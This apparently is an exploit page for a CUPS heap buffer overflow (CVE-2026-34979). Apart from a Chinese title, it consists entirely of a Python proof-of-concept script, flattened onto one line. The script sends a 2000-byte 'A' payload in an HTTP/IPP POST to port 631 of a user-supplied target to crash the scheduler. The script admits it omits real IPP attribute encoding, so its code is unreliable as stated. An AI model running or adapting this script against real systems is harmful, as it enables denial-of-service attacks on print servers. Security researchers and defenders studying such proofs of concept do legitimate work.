CVE-2026-34979 OpenPrinting CUPS堆缓冲区溢出漏洞

import socket import sys # PoC for CVE-2026-34979 (Conceptual) # This script attempts to trigger the heap overflow in CUPS scheduler # by sending a crafted attribute string. def send_exploit(target_ip, target_port=631): # Crafting a long string to trigger the buffer overflow # The specific length needed to overflow depends on the heap layout overflow_payload = b"A" * 2000 # Basic HTTP/IPP header structure for a Print-Job request # This is a simplified structure to demonstrate the concept request = b"POST / HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"Content-Type: application/ipp\r\n" request += b"Content-Length: " + str(len(overflow_payload)).encode() + b"\r\n\r\n" # In a real scenario, the payload would be encapsulated in IPP attributes # such as 'job-attributes' or similar fields mentioned in the advisory. request += overflow_payload try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(request) print("[*] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") else: send_exploit(sys.argv[1])